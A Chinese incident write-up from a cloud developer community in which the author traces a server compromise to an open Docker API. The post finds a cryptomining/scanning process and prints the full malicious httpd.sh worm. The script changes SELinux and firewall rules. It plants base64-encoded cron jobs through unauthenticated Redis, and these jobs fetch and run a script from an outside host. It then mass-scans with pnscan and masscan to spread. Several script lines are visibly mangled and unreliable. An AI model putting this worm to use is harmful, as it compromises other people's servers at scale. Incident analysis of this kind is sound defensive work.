记一次轻量服务器被入侵的排查过程

2022-05-28 15:34:45 浏览数 (3)

缘起

  • day1:兴高采烈新装了个一台轻量,打算用来练练docker,装好了docker,跑了个helloworld,开启了远程访问访问,5:30下班。
  • day2:早晨醒来,收到一个腾讯云的提醒,说我向外攻击,想了半天没想起来我本身没有这种操作啊,而且docker里面也只装了个ng,也没有其他的东西啊。

第一步 登录服务器查看是不是有访问外部6379端口的进程,通过netstat -an|grep 6379 发现有大量的本地端口在访问外部的6379,进程同时指向一个pnscan的工具,搜了一下pnscan关键字,很多结果均指向这是个挖矿病毒。

第二步 查看操作历史 分别使用last 、history查看日志,都没有任何记录,这明显是被人给清了。

第三步 top查看服务器资源,发现cpu被占用95%以上,直接kill掉pnscan进程,cpu降至50%,还是不太正常,稍等会发现pnscan又复活了,看来是有个后端脚本在监听进程的,通过whereis pnscan,找到这个位置,直接rm -rf pnscan,再次kill掉pnscan,cpu降下来了。 再次top发现有个httpd的进程很奇怪,因为我是新装的轻量,所以我对进程有哪些很清楚,如果是个老系统,那就很有迷惑性了,通过whereis httpd,找到httpd所在的目录,进去一看真是小刀拉屁股,开了眼了,这里面看起来放的都是一堆碎片文件,似乎真是在挖矿?????????

找到httpd.sh 脚本,打开源码发现这确实是个调用pnscan扫描6379端口的工具

代码语言:javascript复制
 #!/bin/bash
 setenforce 0 2>/dev/null
 ulimit -u 50000
 sleep 1
 iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
 iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
 sleep 1
rm -rf .dat .shard .ranges .lan 2>/dev/null
 sleep 1
 echo 'config set dbfilename "backup.db"' > .dat
 echo 'save' >> .dat
 echo 'config set stop-writes-on-bgsave-error no' >> .dat
 echo 'flushall' >> .dat
 echo 'set backup1 "nnn*/2 * * * * echo Y2QxIGh0dHA6Ly9vcmFjbGUuenpocmVjZWl2ZS50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash nn"' >> .dat
 echo 'set backup2 "nnn*/3 * * * * echo d2dldCAtcSAtTy0gaHR0cDovL29yYWNsZS56emhyZWNlaXZlLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bashnn"' >> .dat
 echo 'set backup3 "nnn*/4 * * * * echo Y3VybCBodHRwOi8vb3JhY2xlLnp6aHJlY2VpdmUudG9wL2IyZjYyOC9iLnNoCg==|base64 -d|bash|bashnn"' >> .dat
 echo 'config set dir "/var/spool/cron/"' >> .dat
 echo 'config set dbfilename "root"' >> .dat
 echo 'save' >> .dat
 echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
 echo 'save' >> .dat
 echo 'flushall' >> .dat
 echo 'set backup1 "nnn*/2 * * * * root echo Y2QxIGh0dHA6Ly9vcmFjbGUuenpocmVjZWl2ZS50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash nn"' >> .dat
 echo 'set backup2 "nnn*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL29yYWNsZS56emhyZWNlaXZlLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bashnn"' >> .dat
 echo 'set backup3 "nnn*/4 * * * * root echo Y3VybCBodHRwOi8vb3JhY2xlLnp6aHJlY2VpdmUudG9wL2IyZjYyOC9iLnNoCg==|base64 -d|bash|bashnn"' >> .dat
 echo 'config set dir "/etc/cron.d/"' >> .dat
 echo 'config set dbfilename "zzh"' >> .dat
 echo 'save' >> .dat
 echo 'config set dir "/etc/"' >> .dat
 echo 'config set dbfilename "crontab"' >> .dat
 echo 'save' >> .dat
 sleep 1
 pnx=pnscan
[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
 for z in $( seq 0 5000 | sort -R ); do
 for x in $( echo -e "47n39n8n121n106n120n123n65n3n101n139n99n63n81n44n18n119n100n42n49n118n54n1n50n114n182n52n13n34n112n115n111n116n16n35n117n124n59n36n103n82n175n122n129n45n152n159n113n15n61n180n172n157n60n218n176n58n204n140n184n150n193n223n192n75n46n188n183n222n14n104n27n221n211n132n107n43n212n148n110n62n202n95n220n154n23n149n125n210n203n185n171n146n109n94n219n134" | sort -R ); do
 for y in (seq0255∣sort−R);do( seq 0 255 | sort -R ); do(seq0255∣sort−R);dopnx -t256 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' x.x.x.y.0.0/16 6379 > .r.x.x.x.y.o
 awk '/Linux/ {print $1, 3}' .r.x.y.o>.r.y.o > .r.y.o>.r.x.$y.l
 while read -r h p; do
 cat .dat | redis-cli -h $h -p p --raw & done < .r.x.$y.l
 done
 done
 done
 sleep 1
 masscan --max-rate 10000 -p6379 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
 sleep 1
 while read -r h p; do
 cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
 done < .shard
 sleep 1
 masscan --max-rate 10000 -p6379 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges
 sleep 1
 while read -r h p; do
 cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
 done < .ranges
 sleep 1
 ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's//([0-9]{2})//16/g' > .inet
 sleep 1
 masscan --max-rate 10000 -p6379 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan
 sleep 1
 while read -r h p; do
 cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
 done < .lan
 sleep 60
 rm -rf .dat .shard .ranges .lan 2>/dev/null

始作俑者正是这个脚本,把脚本删掉,kill httpd进程,cpu降下来了。那么他是通过什么途径进入到我的机器的呢?通过pnscan关键字搜了一下发现有的人的机器现象和我是几乎一模一样的,他在文章中指出问题源自于docker开启了远程访问,同时又没有开启认证,导致被入侵了。

此时还有一系列问题没有处理,比如我没有删除恶意authorized_keys的权限,为了安全起见(偷懒)我选择了重装。

ps:刚开始不知道轻量的镜像功能在重装后还保留,导致出了故障之后我只保留了一部分截图就重装了,当时应该保留一个镜像才能更好复盘呢,在这里必须夸一夸腾讯云

下一篇我将模拟一下黑客的入侵方式,实现特定条件下的自我入侵初体验


腾云先锋(TDP,Tencent Cloud Developer Pioneer)是腾讯云 GTS 官方组建并运营的技术开发者群体。这里有最专业的开发者&客户,能与产品人员亲密接触,专有的问题&需求反馈渠道,有一群志同道合的兄弟姐妹。来加入属于我们开发者的社群吧 。

0 人点赞